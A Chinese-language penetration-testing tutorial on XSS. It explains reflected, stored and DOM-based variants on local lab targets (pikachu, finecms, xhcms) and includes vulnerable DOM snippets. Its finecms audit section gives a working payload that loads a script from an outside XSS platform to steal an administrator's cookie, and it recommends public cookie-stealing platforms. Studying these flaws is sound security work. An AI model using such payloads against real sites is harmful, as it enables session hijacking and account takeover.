xss漏洞
0x01 漏洞概述
我們如何登入管理員後臺:
1.我們找到後臺地址然後輸入賬號密碼
2.我們可以不用通過輸入賬號密碼也可以嗎?
Cookie:它是一串字串,這串字串代表你的身份
PHPSESSID=osfqps4akio5l215qn4rbj8fb7(bluecms)
小tips:如果一個cookie是很多變數和值我們怎麼來新增呢,cookie其實跟php一樣也是;結尾的
比如這裡zzzcms(這裡需要設定跟路徑)我們登入一個賬號
我們可以看到存在一個cookie值
ep60hmur7cbjhvld1jfufvtcb2
換一個瀏覽訪問http://127.0.0.1/?user/ 顯示結果為:
然後替換為之前的cookie然後再f5重新整理
可以看到直接訪問成功
所以說我們登入後臺不一定要用sql注入,社工這類方法
xss的最大作用就是獲取cookie
Cookie存放於使用者的瀏覽器裡面,所以說如果可以操作你的瀏覽器就可能獲取到你的Cookie資訊
XSS其實也是注入的一種,稱為前端注入比如sql注入其實是把輸入的傳參當中sql語句執行xss是會把輸入的傳參當中前端程式碼執行,前端程式碼就包括為html,css,javascript,其中js是操作瀏覽器的語言,可能會想到我不會js怎麼辦,其實問題不大,因為我們搞滲透測試和開發不一樣,我們只需要看,或者掌握一些特殊的語法函式就行了,過多的我們不用學習,比如就單純的web就包括.net java php 前端程式碼等等,如果都掌握那就花費大多時間,就js來說,它就可以去做動畫這類,所以不用學習太深入,是沒有意義的。其實記住一句話就行xss其實就是把使用者輸入的傳參當作前端程式碼執行
如果cookie中設定了HttpOnly屬性,那麼通過js指令碼將無法讀取到cookie資訊,這樣能有效的防止XSS攻擊,竊取cookie內容,這樣就增加了cookie的安全性,即便是這樣,也不要將重要資訊存入cookie。XSS全稱Cross SiteScript,跨站指令碼攻擊,是Web程式中常見的漏洞,XSS屬於被動式且用於客戶端的攻擊方式,所以容易被忽略其危害性。其原理是攻擊者向有XSS漏洞的網站中輸入(傳入)惡意的HTML程式碼,當其它使用者瀏覽該網站時,這段HTML程式碼會自動執行,從而達到攻擊的目的。如,盜取使用者Cookie、破壞頁面結構、重定向到其它網站等。
xss能做什麼:
盜取cookie(最頻繁)
獲取內網ip
獲取瀏覽器儲存的明文密碼
擷取網頁螢幕
網頁上的鍵盤記錄
xss的型別:
反射型
儲存型
DOM型
0x02 反射型xss
反射型xss就是你提交的資料成功的實現了xss,但是僅僅是對你這次訪問產生了影響,你的傳參是不會進入資料庫的,是非持久的攻擊。
它需要構建一個專門的語句,如果去掉了再重新整理是不會執行的,所以反射型xss主要運用於誘騙別人去訪問你的連結來獲取你的資訊,比如說你想入侵一個系統,你知道某會員使用者喜歡小動物,說這裡面的小貓小狗好可愛來誘騙他點選
我們請求網站的過程:1.請求網站 2.網站返回前端程式碼 3.我們的瀏覽器根據前端程式碼解析執行 4.渲染出頁面
什麼情況下會你寫的東西會被當做js處理?
三種觸發方式:
2.1 標籤觸發:
我們還是來到pikachu
這裡我們輸入test,可以看到url和下面文字都顯示了我們輸入的內容
我們把test改為,可以看到這裡做了限制輸入長度
但是我們可以直接輸入的內容就是顯示在url裡面的所以我們直接修改url
然後可以發現文字也沒有顯示我們的內容
因為我們輸入的內容被當成程式碼執行了,沒有當成文字,所以就成功利用了,這裡只要一重新整理,我們輸入的內容就沒有,所以這裡只是構造的語句然後執行
比如在這裡我們什麼不輸入然後提交
可以看到提示我們輸入kobe試試,我們輸入1試試
可以看到他說who is 1,i don not care!
這裡我們輸入或者輸入
這裡可以看到其實就是執行成功了,但是我們其實證明還是需要彈窗或者直接打攻擊程式碼竊取cookie,因為其他有不確定性因素
2.2 偽協議觸發
偽協議不同於網上所真實存在的協議比如:http://,ftp://等等,偽協議只有關聯應用才能夠用,比如php:// tencent://(QQ), javascript:偽協議實際上聲明瞭url的主體是任意的javascript程式碼,就比如說你電腦不裝php就沒有php://這個偽協議,但是你電腦什麼都不裝卻有http://,https://等協議,偽協議跟標籤不一樣,標籤是瀏覽器自動,而偽協議是點選觸發,需要別人去點選。
比如:1
我們點選1,可以看到彈框成功
2.3 事件觸發
比如說我中獎500萬,我們高興,那麼我中獎這是一個事件,我很高興這是我的反應。
滿足某種條件自動觸發比如<DIV onmouseleave="alert('bem')" style="123456
0x03 儲存型xss
那麼我們如何盜取cookie呢?盜取cookie程式碼相對複雜,但是我們前輩已經有很多人搭建了,搭建xss平臺的一般來說都是做安全的,那麼說不定就往我們瀏覽器裡偷點東西,所以我們最好使用無痕的瀏覽器去訪問
比如我們打了一個雅虎,淘寶等大型網站cookie,其實在這個xss平臺的後臺也會記錄,平臺管理員就可以用我們打的cookie去一樣操作,但是一般我們正常用來他是不會管的
這裡我們就用網上的平臺https://xs.sb/xss.php
cookie是有實效性的,比如說你登入某個網站長時間不動,你就需要重新登入,keepsession就是為了保持cookie不失效,它會自己隔一段時間去幫你訪問一次防止失效,這裡來插入我們的靶機
我們把插入到靶機
然後就可以檢視到資訊
我們這裡來抓包其實就可以看到有個xs.sb的請求
儲存xss一般出現點:任何可能插入資料庫的地方,比如:使用者註冊的時候,留言板,上傳檔名,以及管理員可見的報錯資訊
不進入資料庫可不可能存在儲存型xss?資料是不一定儲存在資料庫裡面的,其實存不存入資料庫跟儲存型xss不沒有關聯的,它的本質就是儲存起來然後釋放出來,所以你儲存在一個txt一個log檔案裡面,或者某個快取裡面都可以的,比如一個cms你登陸錯誤會有日誌產生,那我們把前臺登入資訊改為惡意程式碼,那麼就在日誌裡面出現了問題
儲存型xss一定要在有框的地方才行嘛?比如有些cms你在後臺登入,會提示上次登入ip,那麼我們是否可以操作xff呢,這裡還有個小demo,這裡我們有個10分鐘郵箱,是用來臨時接受郵箱資訊的,我們給他發我們的xss程式碼過去
http://24mail.chacuo.net/
我們這邊生成一個臨時郵箱
然後我們去傳送xss程式碼
可以看到也成功彈窗了,這裡就有個總結:
使用者的輸入,一般控制的很嚴格。系統的獲取,一般控制的不嚴格
使用者的輸入就是我們輸入進去的東西,系統的獲取例如我從資料庫中獲取,我接受到的郵件,我收到的資訊等等,就比如一個釣魚的手法,我們釣魚管理員的時候我們讓他去下載別的網站的檔案他可能就會有所懷疑,但是如果把木馬檔案存放在他自己的網站裡面,他可能就不會懷疑
0x04 xss程式碼審計一
這裡我們用到finecms v5.3.0
這裡需要設定網站根目錄
這套cms會把錯誤日誌展示到後臺裡面,而且寫入的時候
沒有過濾
比如我們隨便新增一個m引數
http://127.0.0.1/index.php?c=category&id=3&m=222
可以看到後臺就存在錯誤日誌
所以我們構造我們的payload
http://127.0.0.1/index.php?c=category&id=3&m=<script src=//xms.la/2SE2B></script>
在後臺重新整理檢視,可以看到成功打到了cookie
PHPSESSID=ep60hmur7cbjhvld1jfufvtcb2
可以看到直接為admin賬戶了
我們來到程式碼這個問題出現在\finecms\finecms\system\core\Log.php該檔案的170行的write_log函式
然後在傳遞給fwrite方法的時候沒有做任何過濾
然後我們尋找呼叫write_log函式的地址
G:\phpstudy\PHPTutorial\WWW\cms\finecms\finecms\system\core\Common.php
繼續檢視呼叫log_message函式的位置
G:\phpstudy\PHPTutorial\WWW\cms\finecms\finecms\system\core\Exceptions.php
可以看到這個show_404呼叫了
log_message方法
0x05 xss程式碼審計二
這裡使用了熊海(xhcms),現在前臺留言
然後來到後臺重新整理
http://127.0.0.1/admin/?r=login
先提交抓包看下請求包為
先來到index.php
可以看到請求的為files的目錄下的get引數檔案,這裡就為submit開啟
可以看到除了內容其他都沒有過濾
0x06 DOM XSS
DOM—based XSS漏洞是基於文件物件模型Document Objeet Model,DOM)的一種漏洞。DOM是一個與平臺、程式語言無關的介面,它允許程式或指令碼動態地訪問和更新文件內容、結構和樣式,處理後的結果能夠成為顯示頁面的一部分。DOM中有很多物件,其中一些是使用者可以操縱的,如uRI,location,refelTer等。客戶端的指令碼程式可以通過DOM動態地檢查和修改頁面內容,它不依賴於提交資料到伺服器端,而從客戶端獲得DOM中的資料在本地執行,如果DOM中的資料沒有經過嚴格確認,就會產生DOM—based XSS漏洞。
DOM其實就是通過js操作瀏覽器,這就是一個dom樹
所謂的樹就是有樹枝,樹幹,分支
Document物件使我們可以從指令碼中對HTML頁面中的所有元素進行訪問
Document物件屬性
document.cookie可以獲取cookie但是有時候確獲取不了,這是因為httponly的原因這是防禦的一種手段
我們最常用的就是lastModified我們如果獲取的時間f5重新整理不變的話說明是個靜態網站反之動態
document.write寫內容到頁面上
頁面分為:動態和靜態
偽靜態:動態頁面偽裝成靜態頁面,讓黑客不去攻擊。靜態頁面無法產生嚴重的攻擊,因為它沒法跟網站進行傳參的
幾大常見的dom xss
document.write(支援native編碼)
innerHTML(用來設定或獲取位於物件起始和結束標籤內的HTML)
eval(當中程式碼執行)
http://127.0.0.1/1.html?name=
DOM型xss=>通過js處理後產生的xss,不是儲存也不是反射,但是一般來說是反射
<script>
var pos=document.URL.indexOf("name=")+5;
var username = unescape(document.URL.substring(pos,document.URL.length));
var r='<b>'+username+'</b>'
document.write(r);
</script>
比如說這裡我們構造一個xss發給受害者,這裡其實就是形成一個類似反射的,這個就是dom型xss,就是js處理後的xss,而且不會在伺服器日誌裡面留下任何痕跡
<div id='test'>1</div>
<input type="button" onclick=fun() value="點選有驚喜">
<script>
function fun(){
var url = unescape(document.URL);
var pos = url.indexOf("name=")+5;
document.getElementById("test").innerHTML="Hi,<b>"+url.substring(pos,url.length)+'</b>';}
</script>
可以看到說可以設定那麼
document.getElementById("test").innerHTML=''
這裡script標籤是不行的,這裡記住就行,這是規則問題
那麼這裡利用就是http://127.0.0.1/2.html?name=再點選就可以了
<h1>hello world</h1>
<script>
var a = location.hash.substr(1);
eval(a);
</script>
location.hash其實就是個錨點(舉例百度百科目錄),可以理解為本頁面的超連結
比如我們構造http://127.0.0.1/3.html#11再location.hash.substr();為#11,輸入1就是輸出#後面的全部